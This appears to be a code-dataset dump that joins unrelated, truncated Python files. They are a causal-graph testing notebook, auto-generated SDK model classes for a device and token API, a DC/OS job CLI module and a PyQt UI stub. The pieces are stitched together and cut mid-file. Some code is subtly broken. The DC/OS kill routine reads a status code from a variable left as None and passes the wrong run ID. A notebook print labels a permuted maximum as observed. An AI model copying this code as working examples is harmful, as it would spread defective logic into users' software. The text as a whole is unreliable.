input stringlengths 2.65k 237k | output stringclasses 1
value |
|---|---|
<filename>notebooks/final/_04-tb-testing-your-causal-graph.py
# ---
# jupyter:
# jupytext:
# formats: ipynb,py:light,md
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.7.1
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Testing your causal graph
#
# ## Purpose
# This notebook describes and demonstrates methods for testing the assumptions of one's causal graph.
# We test three types of assumptions:
# - marginal independence assumptions,
# - conditional independence assumptions, and
# - latent, conditional independence assumptions.
#
# For each assumption, we first describe the logic used to test it.
# Then, we demonstrate one mechanism for testing the assumption according to that logic.
#
# ## Import needed libraries
# +
# Built-in modules
import sys # noqa: E402
import causal2020.testing.latent_independence as li # noqa: E402 noreorder
import causal2020.testing.observable_independence as oi # noqa: E402 noreorder
import checkrs.sim_cdf as sim_cdf # noqa: E402 noreorder
import numpy as np # noqa: E402
import pandas as pd # noqa: E402
import scipy.stats # noqa: E402
from causal2020.graphs.drive_alone_utility import ( # noqa: E402 noreorder
DRIVE_ALONE_UTILITY,
LATENT_DRIVE_ALONE_UTILITY,
)
from causal2020.utils import sample_from_factor_model # noqa: E402 noreorder
from pyprojroot import here
# -
# ## Set notebook parameters
# +
# Parameters
# Declare paths to data
DATA_PATH = here(
"data/raw/spring_2016_all_bay_area_long_format_plus_cross_bay_col.csv"
)
# Note that these files are based on using the PPCA model
# of Wang and Blei (2018). W represents global factor
# coefficients and Z represents latent factor loadings
PATH_TO_W_PARAMS = here("data/processed/W_inferred_PPCA.csv")
PATH_TO_Z_PARAMS = here("data/processed/Z_inferred_PPCA.csv")
# Note the columns of interest for this notebook
MODE_ID_COLUMN = "mode_id"
OBS_ID_COLUMN = "observation_id"
TIME_COLUMN = "total_travel_time"
COST_COLUMN = "total_travel_cost"
DISTANCE_COLUMN = "total_travel_distance"
LICENSE_COLUMN = "num_licensed_drivers"
NUM_AUTOS_COLUMN = "num_cars"
UTILITY_COLUMNS = [
TIME_COLUMN,
COST_COLUMN,
DISTANCE_COLUMN,
LICENSE_COLUMN,
NUM_AUTOS_COLUMN,
]
# Note the travel mode of intersest for this notebook
DRIVE_ALONE_ID = 1
# Note the number of permutations to be used when
# testing the causal graphs
NUM_PERMUTATIONS = 100
# Choose a color to represent reference /
# permutation-based test statistics
PERMUTED_COLOR = "#a6bddb"
# Choose a seed for the conditional independence tests
SEED = 1038
# -
# ## Load and describe needed data
# +
# Load the raw data
df = pd.read_csv(DATA_PATH)
# Look at the data being used in this notebook
print(
df.loc[
df[MODE_ID_COLUMN] == DRIVE_ALONE_ID, UTILITY_COLUMNS + [OBS_ID_COLUMN]
]
.head(5)
.T
)
# Create a dataframe with the variables posited
# to make up the drive-alone utility
drive_alone_df = df.loc[df[MODE_ID_COLUMN] == DRIVE_ALONE_ID, UTILITY_COLUMNS]
# Figure out how many observations we have with
# the drive alone mode being available
num_drive_alone_obs = drive_alone_df.shape[0]
# -
# ## Show the posited causal graph
# Draw the causal model being tested
causal_graph = DRIVE_ALONE_UTILITY.draw()
causal_graph.graph_attr.update(size="5,3")
causal_graph
# ## Marginal independence tests
#
# ### Main idea
# The marginal independence tests demonstrated in this notebook will visually test the following implication<br>
# $
# \begin{aligned}
# P \left( X_1 \mid X_2 \right) &= P \left( X_1 \right) \\
# \int x_1 P \left( X_1 \mid X_2 \right) \partial{x_1} &= \int x_1 P \left( X_1 \right) \partial{x_1} \\
# E \left[ X_1 \mid X_2 \right] &= E \left[ X_1 \right]
# \end{aligned}
# $
#
# In other words, if $X_1$ is marginally independent of $X_2$, then the expectation of $X_1$ conditional on $X_2$ is equal to the marginal expectation of $X_1$.
# Marginal independence implies mean independence.
# This means that shuffling / permuting the $X_2$ columns should make no difference to predicting $X_1$, once one predicts $\bar{X_1}$.
#
# The test demonstrated below works by estimating a linear regression to predict $E \left[ X_1 \mid X_2 \right]$.
# We compute the $r^2$ from these regressions using the observed value of $X_2$ and also using the permuted values of $X_2$, which are independent of $X_1$ by construction.
#
# If $X_1$ is marginally independent of $X_2$, then the $r^2$ using the observed values of $X_2$ should resemble the distribution of $r^2$ using the permuted values of $X_2$.
#
# For this test, we'll use the following marginal independence assumption implied by the causal graph above:<br>
# $
# P \left( \textrm{Number of Automobiles} \mid \textrm{Number of licensed drivers} \right) = P \left( \textrm{Number of Automobiles} \right)
# $
# +
license_array = drive_alone_df[LICENSE_COLUMN].values
num_cars_array = drive_alone_df[NUM_AUTOS_COLUMN].values
oi.visual_permutation_test(
license_array,
num_cars_array,
z_array=None,
seed=1038,
num_permutations=NUM_PERMUTATIONS,
permutation_color=PERMUTED_COLOR,
)
# -
# ### Caveats and pitfalls
# Two important issues when testing the assumption of mean independence between $X_1$ and $X_2$ are underfitting and overfitting of the model for $E \left[ X_1 \mid X_2 \right]$.
#
# If $E \left[ X_1 \mid X_2 \right]$ is underfit, then one's observed test statitic ($r^2$) will be lower than it would be under a correctly specified model.
# This will increase the probability of Type-2 error, failing to reject the null-hypothesis when the null is false.
# Underfitting reduces the power of one's predictive test.
# To guard against underfitting, one should make extensive use of posterior predictive checks and model selection techniques to select the predictively most powerful models that do no show signs of overfitting.
#
# Conversely, if $E \left[ X_1 \mid X_2 \right]$ is overfit, then one's observed test statistic ($r^2$) will be higher than it would be under a correctly specified model.
# This will increase the probability of one rejecting the null-hypothesis when the null is true.
# Overfitting increases the probability of Type-1 errors.
# To guard against overfitting, one should make thorough use of cross-validation and related resampling techniques to ensure that one's model performance does not degrade appreciably outside of the training set.
# ## Conditional independence tests
#
# ### Main idea
# In particular, the notebook will show one way to visually and numerically test the following implication<br>
# $
# \begin{aligned}
# P \left( X_1 \mid X_2, Z \right) &= P \left( X_1 \mid Z \right) \\
# \int x_1 P \left( X_1 \mid X_2, Z \right) \partial{x_1} &= \int x_1 P \left( X_1 \mid Z \right) \partial{x_1} \\
# E \left[ X_1 \mid X_2, Z \right] &= E \left[ X_1 \mid Z \right]
# \end{aligned}
# $
#
# In other words, if $X_1$ is conditionally independent of $X_2$ given $Z$, then the expectation of $X_1$ conditional on $X_2$ and $Z$ is equal to the expectation of $X_1$ conditional on $Z$ alone.
# This implies that shuffling / permuting $X_2$ should make no difference for predicting $X_1$ once we've included $Z$ while predicting.
#
# In other words, one's ability predict to predict $X_1$ should not depend on whether one uses the original $X_2$ or the permuted $X_2$, as long as one conditions on $Z$ when predicting $X_1$.
# In this notebook, we test this invariance using a simple predictive model, linear regression, but in general, one need not and should not restrict oneself to linear predictive models. Upon estimating each regression, we compare $r^2$ as a measure of predictive ability when using $Z$ and the original $X_2$ versus $r^2$ when using $Z$ and the permuted $X_2$.
#
# For this test, we'll use the following conditional independence assumption implied by the causal graph above:<br>
# $
# P \left( \textrm{Travel Time} \mid \textrm{Travel Cost}, \textrm{Travel Distance} \right) = P \left( \textrm{Travel Time} \mid \textrm{Travel Distance} \right)
# $
# +
time_array = drive_alone_df[TIME_COLUMN].values
cost_array = drive_alone_df[COST_COLUMN].values
distance_array = drive_alone_df[DISTANCE_COLUMN].values
oi.visual_permutation_test(
time_array,
cost_array,
z_array=distance_array,
num_permutations=NUM_PERMUTATIONS,
permutation_color=PERMUTED_COLOR,
seed=SEED,
)
# +
r2_observed, r2_permuted = oi.computed_vs_obs_r2(
time_array,
cost_array,
z_array=distance_array,
num_permutations=NUM_PERMUTATIONS,
seed=SEED,
)
print(f"Min [Permuted R^2]: {r2_permuted.min()}")
print(f"Max [Observed R^2]: {r2_permuted.max()}")
print(f"Observed R^2: {r2_observed}")
# -
# ### Caveats and pitfalls
# When testing conditional mean independence (i.e., $E \left[ X_1 \mid X_2, Z \right] = E \left[ X_1 \mid Z \right]$), there are four potential issues of interest.
#
# The first issue is misspecification of $E \left[ X_1 \mid Z \right]$.
# If the conditional mean of $X_1$ depends on un-modeled functions of $Z$ and $Z \rightarrow X_2$, then the inclusion of $X_2$ in one's model may serve as a proxy for the un-modeled function of $Z$.
# Such proxy behavior would lead one to observe "inflated" values of $r^2$ when modeling $E \left[ X_1 \mid X_2, Z \right]$, thus increasing the probability that one will reject the null-hypothesis of conditional independence when it is true.
#
# In other words, to guard against higher-than-nominal probabilities of type-1 error, one needs to guard against underfitting of the model for $E \left[ X_1 \mid Z \right]$ **before** computing one's test-statistic and (permutation-based) reference-distribution.
#
# The second issue is misspecification of $E \left[ X_1 \mid X_2, Z \right]$.
# If one's model for $E \left[ X_1 \mid X_2, Z \right]$ is underfit with respect to $X_2$, then one's test-statistic ($r^2$) will be lower than it should be under accurate specification.
# This | |
1003
# 车辆 四轮车 燃油四轮车 1004
# 车辆 两轮车 1011
# 车辆 两轮车 两轮单车 1012
# 车辆 两轮车 两轮助力车 1013
#
# 换电柜 2000
# 换电柜 二轮车换电柜 2001
#
# 电池 3000
# 电池 磷酸铁电池 3001
# 电池 三元锂电池 3002
#
# 回收设备 4000
#
# 垃圾分类回收 4001
#
# 洗车机 5000
#
# 通用计算设备 6000
# 移动设备 6001
# 智能手机 6002
# 工业掌机 6003
# 平板电脑 6004
# 云设备 6011
# 云计算服务器 6012
self.device_type_code = device_type_code
# 设备单价 单位:分
self.initial_price = initial_price
# 出厂时间
#
self.factory_time = factory_time
# 投放时间
#
self.release_time = release_time
# 设备型号
self.device_name = device_name
def validate(self):
self.validate_required(self.device_id, 'device_id')
self.validate_required(self.data_model_id, 'data_model_id')
self.validate_required(self.scene, 'scene')
self.validate_required(self.sdk_id, 'sdk_id')
self.validate_required(self.content, 'content')
self.validate_required(self.signature, 'signature')
self.validate_required(self.device_type_code, 'device_type_code')
self.validate_required(self.initial_price, 'initial_price')
self.validate_required(self.factory_time, 'factory_time')
if self.factory_time is not None:
self.validate_pattern(self.factory_time, 'factory_time', '\\d{4}[-]\\d{1,2}[-]\\d{1,2}[T]\\d{2}:\\d{2}:\\d{2}([Z]|([\\.]\\d{1,9})?[\\+]\\d{2}[\\:]?\\d{2})')
self.validate_required(self.release_time, 'release_time')
if self.release_time is not None:
self.validate_pattern(self.release_time, 'release_time', '\\d{4}[-]\\d{1,2}[-]\\d{1,2}[T]\\d{2}:\\d{2}:\\d{2}([Z]|([\\.]\\d{1,9})?[\\+]\\d{2}[\\:]?\\d{2})')
def to_map(self):
result = dict()
if self.auth_token is not None:
result['auth_token'] = self.auth_token
if self.product_instance_id is not None:
result['product_instance_id'] = self.product_instance_id
if self.device_id is not None:
result['device_id'] = self.device_id
if self.data_model_id is not None:
result['data_model_id'] = self.data_model_id
if self.scene is not None:
result['scene'] = self.scene
if self.sdk_id is not None:
result['sdk_id'] = self.sdk_id
if self.content is not None:
result['content'] = self.content
if self.signature is not None:
result['signature'] = self.signature
if self.device_type_code is not None:
result['device_type_code'] = self.device_type_code
if self.initial_price is not None:
result['initial_price'] = self.initial_price
if self.factory_time is not None:
result['factory_time'] = self.factory_time
if self.release_time is not None:
result['release_time'] = self.release_time
if self.device_name is not None:
result['device_name'] = self.device_name
return result
def from_map(self, m: dict = None):
m = m or dict()
if m.get('auth_token') is not None:
self.auth_token = m.get('auth_token')
if m.get('product_instance_id') is not None:
self.product_instance_id = m.get('product_instance_id')
if m.get('device_id') is not None:
self.device_id = m.get('device_id')
if m.get('data_model_id') is not None:
self.data_model_id = m.get('data_model_id')
if m.get('scene') is not None:
self.scene = m.get('scene')
if m.get('sdk_id') is not None:
self.sdk_id = m.get('sdk_id')
if m.get('content') is not None:
self.content = m.get('content')
if m.get('signature') is not None:
self.signature = m.get('signature')
if m.get('device_type_code') is not None:
self.device_type_code = m.get('device_type_code')
if m.get('initial_price') is not None:
self.initial_price = m.get('initial_price')
if m.get('factory_time') is not None:
self.factory_time = m.get('factory_time')
if m.get('release_time') is not None:
self.release_time = m.get('release_time')
if m.get('device_name') is not None:
self.device_name = m.get('device_name')
return self
class UpdateDeviceInfobydeviceResponse(TeaModel):
def __init__(
self,
req_msg_id: str = None,
result_code: str = None,
result_msg: str = None,
chain_device_id: str = None,
distribute_device_id: str = None,
):
# 请求唯一ID,用于链路跟踪和问题排查
self.req_msg_id = req_msg_id
# 结果码,一般OK表示调用成功
self.result_code = result_code
# 异常信息的文本描述
self.result_msg = result_msg
# 链上设备Id
#
#
self.chain_device_id = chain_device_id
# 发行设备Id
#
#
self.distribute_device_id = distribute_device_id
def validate(self):
pass
def to_map(self):
result = dict()
if self.req_msg_id is not None:
result['req_msg_id'] = self.req_msg_id
if self.result_code is not None:
result['result_code'] = self.result_code
if self.result_msg is not None:
result['result_msg'] = self.result_msg
if self.chain_device_id is not None:
result['chain_device_id'] = self.chain_device_id
if self.distribute_device_id is not None:
result['distribute_device_id'] = self.distribute_device_id
return result
def from_map(self, m: dict = None):
m = m or dict()
if m.get('req_msg_id') is not None:
self.req_msg_id = m.get('req_msg_id')
if m.get('result_code') is not None:
self.result_code = m.get('result_code')
if m.get('result_msg') is not None:
self.result_msg = m.get('result_msg')
if m.get('chain_device_id') is not None:
self.chain_device_id = m.get('chain_device_id')
if m.get('distribute_device_id') is not None:
self.distribute_device_id = m.get('distribute_device_id')
return self
class OfflineDeviceRequest(TeaModel):
def __init__(
self,
auth_token: str = None,
product_instance_id: str = None,
chain_device_id: str = None,
):
# OAuth模式下的授权token
self.auth_token = auth_token
self.product_instance_id = product_instance_id
# 设备链上Id
#
#
self.chain_device_id = chain_device_id
def validate(self):
self.validate_required(self.chain_device_id, 'chain_device_id')
def to_map(self):
result = dict()
if self.auth_token is not None:
result['auth_token'] = self.auth_token
if self.product_instance_id is not None:
result['product_instance_id'] = self.product_instance_id
if self.chain_device_id is not None:
result['chain_device_id'] = self.chain_device_id
return result
def from_map(self, m: dict = None):
m = m or dict()
if m.get('auth_token') is not None:
self.auth_token = m.get('auth_token')
if m.get('product_instance_id') is not None:
self.product_instance_id = m.get('product_instance_id')
if m.get('chain_device_id') is not None:
self.chain_device_id = m.get('chain_device_id')
return self
class OfflineDeviceResponse(TeaModel):
def __init__(
self,
req_msg_id: str = None,
result_code: str = None,
result_msg: str = None,
):
# 请求唯一ID,用于链路跟踪和问题排查
self.req_msg_id = req_msg_id
# 结果码,一般OK表示调用成功
self.result_code = result_code
# 异常信息的文本描述
self.result_msg = result_msg
def validate(self):
pass
def to_map(self):
result = dict()
if self.req_msg_id is not None:
result['req_msg_id'] = self.req_msg_id
if self.result_code is not None:
result['result_code'] = self.result_code
if self.result_msg is not None:
result['result_msg'] = self.result_msg
return result
def from_map(self, m: dict = None):
m = m or dict()
if m.get('req_msg_id') is not None:
self.req_msg_id = m.get('req_msg_id')
if m.get('result_code') is not None:
self.result_code = m.get('result_code')
if m.get('result_msg') is not None:
self.result_msg = m.get('result_msg')
return self
class ApplyMqtokenRequest(TeaModel):
def __init__(
self,
auth_token: str = None,
product_instance_id: str = None,
scene: str = None,
device_id: str = None,
):
# OAuth模式下的授权token
self.auth_token = auth_token
self.product_instance_id = product_instance_id
# 场景码
self.scene = scene
# 设备ID
self.device_id = device_id
def validate(self):
self.validate_required(self.scene, 'scene')
self.validate_required(self.device_id, 'device_id')
def to_map(self):
result = dict()
if self.auth_token is not None:
result['auth_token'] = self.auth_token
if self.product_instance_id is not None:
result['product_instance_id'] = self.product_instance_id
if self.scene is not None:
result['scene'] = self.scene
if self.device_id is not None:
result['device_id'] = self.device_id
return result
def from_map(self, m: dict = None):
m = m or dict()
if m.get('auth_token') is not None:
self.auth_token = m.get('auth_token')
if m.get('product_instance_id') is not None:
self.product_instance_id = m.get('product_instance_id')
if m.get('scene') is not None:
self.scene = m.get('scene')
if m.get('device_id') is not None:
self.device_id = m.get('device_id')
return self
class ApplyMqtokenResponse(TeaModel):
def __init__(
self,
req_msg_id: str = None,
result_code: str = None,
result_msg: str = None,
token: str = None,
access_key: str = None,
instance_id: str = None,
sub_topic: str = None,
pub_topic: str = None,
group_id: str = None,
):
# 请求唯一ID,用于链路跟踪和问题排查
self.req_msg_id = req_msg_id
# 结果码,一般OK表示调用成功
self.result_code = result_code
# 异常信息的文本描述
self.result_msg = result_msg
# 服务端返回的Token值,用于阿里云 MQTT连接
self.token = token
# 接入阿里云LMQ的所需的accessKey
self.access_key = access_key
# mqtt的instanceId
self.instance_id = instance_id
# mqtt的topic
self.sub_topic = sub_topic
# mqtt的topic
self.pub_topic = pub_topic
# mqtt的groupId
self.group_id = group_id
def validate(self):
pass
def to_map(self):
result = dict()
if self.req_msg_id is not None:
result['req_msg_id'] = self.req_msg_id
if self.result_code is not None:
result['result_code'] = self.result_code
if self.result_msg is not None:
result['result_msg'] = self.result_msg
if self.token is not None:
result['token'] = self.token
if self.access_key is not None:
result['access_key'] = self.access_key
if self.instance_id is not None:
result['instance_id'] = self.instance_id
if self.sub_topic is not None:
result['sub_topic'] = self.sub_topic
if self.pub_topic is not None:
result['pub_topic'] = self.pub_topic
if self.group_id is not None:
result['group_id'] = self.group_id
return result
def from_map(self, m: dict = None):
m = m or dict()
if m.get('req_msg_id') is not None:
self.req_msg_id = m.get('req_msg_id')
if m.get('result_code') is not None:
self.result_code = m.get('result_code')
if m.get('result_msg') is not None:
self.result_msg = m.get('result_msg')
if m.get('token') is not None:
self.token = m.get('token')
if m.get('access_key') is not None:
self.access_key = m.get('access_key')
if m.get('instance_id') is not None:
self.instance_id = m.get('instance_id')
if m.get('sub_topic') is not None:
self.sub_topic = m.get('sub_topic')
if m.get('pub_topic') is not None:
self.pub_topic = m.get('pub_topic')
if m.get('group_id') is not None:
self.group_id = m.get('group_id')
return self
class QueryDeviceRegistrationRequest(TeaModel):
def __init__(
self,
auth_token: str = None,
product_instance_id: str = None,
device_id: str = None,
scene: str = None,
device_public_key: str = None,
):
# OAuth模式下的授权token
self.auth_token = auth_token
self.product_instance_id = product_instance_id
# 设备Id,由接入方提供,场景内唯一
self.device_id = device_id
# 场景号
self.scene = scene
# 可信根派生公钥
self.device_public_key = device_public_key
def validate(self):
self.validate_required(self.device_id, 'device_id')
self.validate_required(self.scene, 'scene')
self.validate_required(self.device_public_key, 'device_public_key')
def to_map(self):
result = dict()
if self.auth_token is not None:
result['auth_token'] = self.auth_token
if self.product_instance_id is not None:
result['product_instance_id'] = self.product_instance_id
if self.device_id is not None:
result['device_id'] = self.device_id
if self.scene is not None:
result['scene'] = self.scene
if self.device_public_key is not None:
result['device_public_key'] = self.device_public_key
return result
def from_map(self, m: dict = None):
m = m or dict()
if m.get('auth_token') is not None:
self.auth_token = m.get('auth_token')
if m.get('product_instance_id') is not None:
self.product_instance_id = m.get('product_instance_id')
if m.get('device_id') is not None:
self.device_id = m.get('device_id')
if m.get('scene') is not None:
self.scene = m.get('scene')
if m.get('device_public_key') is not None:
self.device_public_key = m.get('device_public_key')
| |
import json
import os
import sys
import docopt
import pkg_resources
import six
from six.moves import urllib
import dcoscli
from dcos import (cmds, config, emitting, http,
metronome, options, packagemanager, util)
from dcos.cosmos import get_cosmos_url
from dcos.errors import DCOSException, DCOSHTTPException
from dcoscli import tables
from dcoscli.subcommand import default_command_info, default_doc
from dcoscli.util import decorate_docopt_usage
logger = util.get_logger(__name__)
emitter = emitting.FlatEmitter()
DEFAULT_TIMEOUT = 180
METRONOME_EMBEDDED = '?embed=activeRuns&embed=schedules&embed=history'
def main(argv):
try:
return _main(argv)
except DCOSException as e:
emitter.publish(e)
return 1
@decorate_docopt_usage
def _main(argv):
args = docopt.docopt(
default_doc("job"),
argv=argv,
version='dcos-job version {}'.format(dcoscli.version))
return cmds.execute(_cmds(), args)
def _check_capability():
"""
The function checks if cluster has metronome capability.
:raises: DCOSException if cluster does not have metronome capability
"""
cosmos = packagemanager.PackageManager(get_cosmos_url())
if not cosmos.has_capability('METRONOME'):
raise DCOSException(
'DC/OS backend does not support metronome capabilities in this '
'version. Must be DC/OS >= 1.8')
def _cmds():
"""
:returns: all the supported commands
:rtype: dcos.cmds.Command
"""
return [
cmds.Command(
hierarchy=['job', 'run'],
arg_keys=['<job-id>'],
function=_run),
cmds.Command(
hierarchy=['job', 'kill'],
arg_keys=['<job-id>', '<run-id>', '--all'],
function=_kill),
cmds.Command(
hierarchy=['job', 'schedule', 'add'],
arg_keys=['<job-id>', '<schedule-file>'],
function=_add_schedule),
cmds.Command(
hierarchy=['job', 'schedule', 'update'],
arg_keys=['<job-id>', '<schedule-file>'],
function=_update_schedules),
cmds.Command(
hierarchy=['job', 'schedule', 'show'],
arg_keys=['<job-id>', '--json'],
function=_show_schedule),
cmds.Command(
hierarchy=['job', 'show', 'runs'],
arg_keys=['<job-id>', '<run-id>', '--json', '--q'],
function=_show_runs),
cmds.Command(
hierarchy=['job', 'schedule', 'remove'],
arg_keys=['<job-id>', '<schedule-id>'],
function=_remove_schedule),
cmds.Command(
hierarchy=['job', 'list'],
arg_keys=['--json'],
function=_list),
cmds.Command(
hierarchy=['job', 'history'],
arg_keys=['<job-id>', '--json', '--show-failures'],
function=_history),
cmds.Command(
hierarchy=['job', 'remove'],
arg_keys=['<job-id>', '--stop-current-job-runs'],
function=_remove),
cmds.Command(
hierarchy=['job', 'add'],
arg_keys=['<job-file>'],
function=_add_job),
cmds.Command(
hierarchy=['job', 'update'],
arg_keys=['<job-file>'],
function=_update_job),
cmds.Command(
hierarchy=['job', 'show'],
arg_keys=['<job-id>'],
function=_show),
cmds.Command(
hierarchy=['job'],
arg_keys=['--config-schema', '--info'],
function=_job)
]
def _job(config_schema=False, info=False):
"""
:param config_schema: Whether to output the config schema
:type config_schema: boolean
:param info: Whether to output a description of this subcommand
:type info: boolean
:returns: process return code
:rtype: int
"""
if config_schema:
schema = _cli_config_schema()
emitter.publish(schema)
elif info:
_info()
else:
doc = default_command_info("job")
raise DCOSException(options.make_generic_usage_message(doc))
return 0
def _remove_schedule(job_id, schedule_id):
"""
:param job_id: Id of the job
:type job_id: str
:param schedule_id: Id of the schedule
:type schedule_id: str
:returns: process return code
:rtype: int
"""
try:
client = metronome.create_client()
client.remove_schedule(job_id, schedule_id)
except DCOSHTTPException as e:
if e.response.status_code == 404:
raise DCOSException("Schedule or job ID does NOT exist.")
except DCOSException as e:
raise DCOSException("Unable to remove schedule ID '{}' for job ID '{}'"
.format(schedule_id, job_id))
return 0
def _remove(job_id, stop_current_job_runs=False):
"""
:param job_id: Id of the job
:type job_id: str
:param stop_current_job_runs: If job runs should be stop as
part of the remove
:type stop_current_job_runs: boolean
:returns: process return code
:rtype: int
"""
try:
client = metronome.create_client()
client.remove_job(job_id, stop_current_job_runs)
except DCOSHTTPException as e:
if e.response.status_code == 500 and stop_current_job_runs:
return _remove(job_id, False)
else:
raise DCOSException("Unable to remove '{}'. It may be running."
.format(job_id))
except DCOSException as e:
raise DCOSException("Unable to remove '{}'. It may be running."
.format(job_id))
return 0
def _kill(job_id, run_id, all=False):
"""
:param job_id: Id of the job
:type job_id: str
:returns: process return code
:rtype: int
"""
response = None
deadpool = []
if run_id is None and all is True:
deadpool = _get_ids(_get_runs(job_id))
else:
deadpool.append(run_id)
client = metronome.create_client()
for dead in deadpool:
try:
client.kill_run(job_id, run_id)
except DCOSHTTPException as e:
if e.response.status_code == 404:
raise DCOSException("Job ID or Run ID does NOT exist.")
except DCOSException as e:
raise DCOSException("Unable stop run ID '{}' for job ID '{}'"
.format(dead, job_id))
else:
if response.status_code == 200:
emitter.publish("Run '{}' for job '{}' killed."
.format(dead, job_id))
return 0
def _list(json_flag=False):
"""
:returns: process return code
:rtype: int
"""
try:
client = metronome.create_client()
json_list = client.get_jobs()
except DCOSException as e:
raise DCOSException(e)
if json_flag:
emitter.publish(json_list)
else:
table = tables.job_table(json_list)
output = six.text_type(table)
if output:
emitter.publish(output)
return 0
def _history(job_id, json_flag=False, show_failures=False):
"""
:returns: process return code
:rtype: int
"""
response = None
url = urllib.parse.urljoin(_get_api_url('v1/jobs/'),
job_id + METRONOME_EMBEDDED)
try:
response = _do_request(url, 'GET')
except DCOSHTTPException as e:
raise DCOSException("Job ID does NOT exist.")
except DCOSException as e:
raise DCOSException(e)
else:
if response.status_code is not 200:
raise DCOSException("Job ID does NOT exist.")
json_history = _read_http_response_body(response)
if 'history' not in json_history:
return 0
if json_flag:
emitter.publish(json_history)
else:
emitter.publish(_get_history_message(json_history, job_id))
table = tables.job_history_table(
json_history['history']['successfulFinishedRuns'])
output = six.text_type(table)
if output:
emitter.publish(output)
if show_failures:
emitter.publish(_get_history_message(
json_history, job_id, False))
table = tables.job_history_table(
json_history['history']['failedFinishedRuns'])
output = six.text_type(table)
if output:
emitter.publish(output)
return 0
def _get_history_message(json_history, job_id, success=True):
"""
:param json_history: json of history
:type json_history: json
:param job_id: Id of the job
:type job_id: str
:returns: history message
:rtype: str
"""
if success is True:
return "'{}' Successful runs: {} Last Success: {}".format(
job_id, json_history['history']['successCount'],
json_history['history']['lastSuccessAt'])
else:
return "'{}' Failure runs: {} Last Failure: {}".format(
job_id, json_history['history']['failureCount'],
json_history['history']['lastFailureAt'])
def _show(job_id):
"""
:param job_id: Id of the job
:type job_id: str
:returns: process return code
:rtype: int
"""
try:
client = metronome.create_client()
json_job = client.get_job(job_id)
except DCOSHTTPException as e:
if e.response.status_code == 404:
raise DCOSException("Job ID: '{}' does NOT exist.".format(job_id))
else:
raise DCOSException(e)
emitter.publish(json_job)
return 0
def _show_runs(job_id, run_id=None, json_flag=False, q=False):
"""
:param job_id: Id of the job
:type job_id: str
:returns: process return code
:rtype: int
"""
json_runs = _get_runs(job_id, run_id)
if q is True:
ids = _get_ids(json_runs)
emitter.publish(ids)
elif json_flag is True:
emitter.publish(json_runs)
else:
if json_flag:
emitter.publish(json_runs)
else:
if _json_array_has_element(json_runs, 'id'):
table = tables.job_runs_table(json_runs)
output = six.text_type(table)
if output:
emitter.publish(output)
else:
emitter.publish("Nothing running for '{}'".format(job_id))
return 0
def _json_array_has_element(json_object, field):
exists = False
for element in json_object:
if field in element:
exists = True
break
return exists
def _get_runs(job_id, run_id=None):
"""
:param job_id: Id of the job
:type job_id: str
:returns: json of all running instance of a job_id
:rtype: json
"""
client = metronome.create_client()
try:
if run_id is None:
return client.get_runs(job_id)
else:
return client.get_run(job_id, run_id)
except DCOSException as e:
raise DCOSException(e)
def _run(job_id):
"""
:param job_id: Id of the job
:type job_id: str
:returns: process return code
:rtype: int
"""
try:
client = metronome.create_client()
client.run_job(job_id)
except DCOSHTTPException as e:
if e.response.status_code == 404:
emitter.publish("Job ID: '{}' does not exist.".format(job_id))
else:
emitter.publish("Error running job: '{}'".format(job_id))
return 0
def _show_schedule(job_id, json_flag=False):
"""
:param job_id: Id of the job
:type job_id: str
:returns: process return code
:rtype: int
"""
try:
client = metronome.create_client()
json_schedule = client.get_schedules(job_id)
except DCOSHTTPException as e:
if e.response.status_code == 404:
raise DCOSException("Job ID: '{}' does NOT exist.".format(job_id))
else:
raise DCOSException(e)
except DCOSException as e:
raise DCOSException(e)
if json_flag:
emitter.publish(json_schedule)
else:
table = tables.schedule_table(json_schedule)
output = six.text_type(table)
if output:
emitter.publish(output)
return 0
def parse_schedule_json(schedules_json):
"""
The original design of metronome had an array of schedules defined but
limited it to 1. This limits to 1 and takes the array format or just
1 schedule format.
:param schedules_json: schedule or array of schedules in json
:type schedules_json: json [] or {}
:returns: schedule json
:rtype: json
"""
if type(schedules_json) is list:
return schedules_json[0]
else:
return schedules_json
def _add_schedules(job_id, schedules_json):
"""
:param job_id: Id of the job
:type job_id: str
:param schedules_json: json for the schedules
:type schedules_json: json
:returns: process return code
:rtype: int
"""
if schedules_json is None:
raise DCOSException('Schedule JSON is required.')
schedule = parse_schedule_json(schedules_json)
client = metronome.create_client()
client.add_schedule(job_id, schedule)
return 0
def _update_schedules(job_id, schedules_file):
"""
:param job_id: Id of the job
:type job_id: str
:param schedule_id: Id of the schedule
:type schedule_id: str
:param schedule_file: filename for the schedule resource
:type schedule_file: str
:returns: process return code
:rtype: int
"""
schedules = _get_resource(schedules_file)
schedule = schedules[0] # 1 update
schedule_id = schedule['id']
return _update_schedule(job_id, schedule_id, schedule)
def _update_schedule(job_id, schedule_id, schedule_json):
"""
:param job_id: Id of the job
:type job_id: str
:param schedule_id: Id of the schedule
:type schedule_id: str
:param schedules_json: json for the schedules
:type schedules_json: json
:returns: process return code
:rtype: int
"""
if schedule_json is None:
raise DCOSException("No schedule to update.")
try:
client = metronome.create_client()
client.update_schedule(job_id, schedule_id, schedule_json)
emitter.publish("Schedule ID `{}` for job ID `{}` updated."
.format(schedule_id, job_id))
except DCOSHTTPException as e:
if e.response.status_code == 404:
emitter.publish("Job ID: '{}' or schedule ID '{}' does NOT exist."
.format(job_id, schedule_id))
except DCOSException as e:
raise DCOSException(e)
return 0
def _add_schedule(job_id, schedule_file):
"""
:param job_id: Id of the job
:type job_id: str
:param schedule_file: filename for the schedule resource
:type schedule_file: str
:returns: process return code
:rtype: int
"""
schedules = _get_resource(schedule_file)
return _add_schedules(job_id, schedules)
def _add_job(job_file):
"""
:param job_file: optional filename for the application resource
:type | |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file '/Users/Julian/Desktop/MathApp.ui'
#
# Created by: PyQt5 UI code generator 5.12.3
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName("MainWindow")
MainWindow.resize(761, 472)
self.centralwidget = QtWidgets.QWidget(MainWindow)
self.centralwidget.setObjectName("centralwidget")
self.tabWidget = QtWidgets.QTabWidget(self.centralwidget)
self.tabWidget.setGeometry(QtCore.QRect(10, 0, 761, 431))
self.tabWidget.setObjectName("tabWidget")
self.tab = QtWidgets.QWidget()
self.tab.setObjectName("tab")
self.label_4 = QtWidgets.QLabel(self.tab)
self.label_4.setGeometry(QtCore.QRect(25, 110, 81, 31))
self.label_4.setObjectName("label_4")
